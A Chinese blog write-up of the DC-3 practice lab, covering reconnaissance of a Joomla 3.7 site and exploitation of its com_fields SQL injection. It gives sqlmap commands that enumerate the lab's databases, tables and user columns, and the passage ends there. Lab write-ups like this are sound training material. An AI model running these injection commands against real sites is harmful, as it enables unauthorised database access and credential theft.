DC3靶场通过及溯源分析

原创已于 2025-11-26 17:20:10 修改 · 140 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#linux #网络 #运维

于 2025-11-26 10:46:16 首次发布

一、DC3靶场环境分析

只开启了80端口www服务，3306端口仅能本机访问。

nmap探测，发现只有80端口。

二、信息收集

访问目标网站，提示我们只有1个flag，一个入口，并且没有如何线索，只有拿下root权限，才能获得。

对于网站我们通常扫描一下目录和文件：

其中/administrator是管理员的登录界面，并且更具readme.txt内容，了解它是一个joomla3.7的cms系统。

同时也要注意扫描到的/templates目录，后续可以采取上传文件或者新建文件时候，需要知道网站目录，而此时这个结果给了我们提示。

这样，我们自然想到两种方式进行下一步工作：

爆破口令。这种方式我试过，但是用bp爆破时候发现，这个网站有token防护，还需要破解token机制，就此放弃。
网站漏洞。

三、漏洞通关

在kali中搜索searchsploit joomla 3.7,发现弹药库里第1条和第二条，都是针对joomla 3.7的sql注入，其中44227.php，放在自建的网站下，输入目标网站，会自动获取管理员用户名和密码，但是由于某个请求不可达，显示不出来，在我这不可用，只能选择第二种手动注入方式。

我们也可以直接在msf中搜索，选择use 0，测试发现，获取会话session的前提是管理员已经登录了。

因此对我来说，还是要通过sql注入来获取用户名和密码，获取后登录网站，通过文件上传或者msf攻击模块获取php的shell。

（1）sql注入

根据文档提示，这个界面存在sql注入的问题。

使用sqlmal工具开始爆库：

获取数据库名称

sqlmap -u "http://192.168.136.186/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

数据库为joomladb，继续获取表名

sqlmap -u "http://192.168.136.186/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables  -p list[fullordering] --batch

发现又#_users表，继续爆列名

sqlmap -u "http://192.168.136.186/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]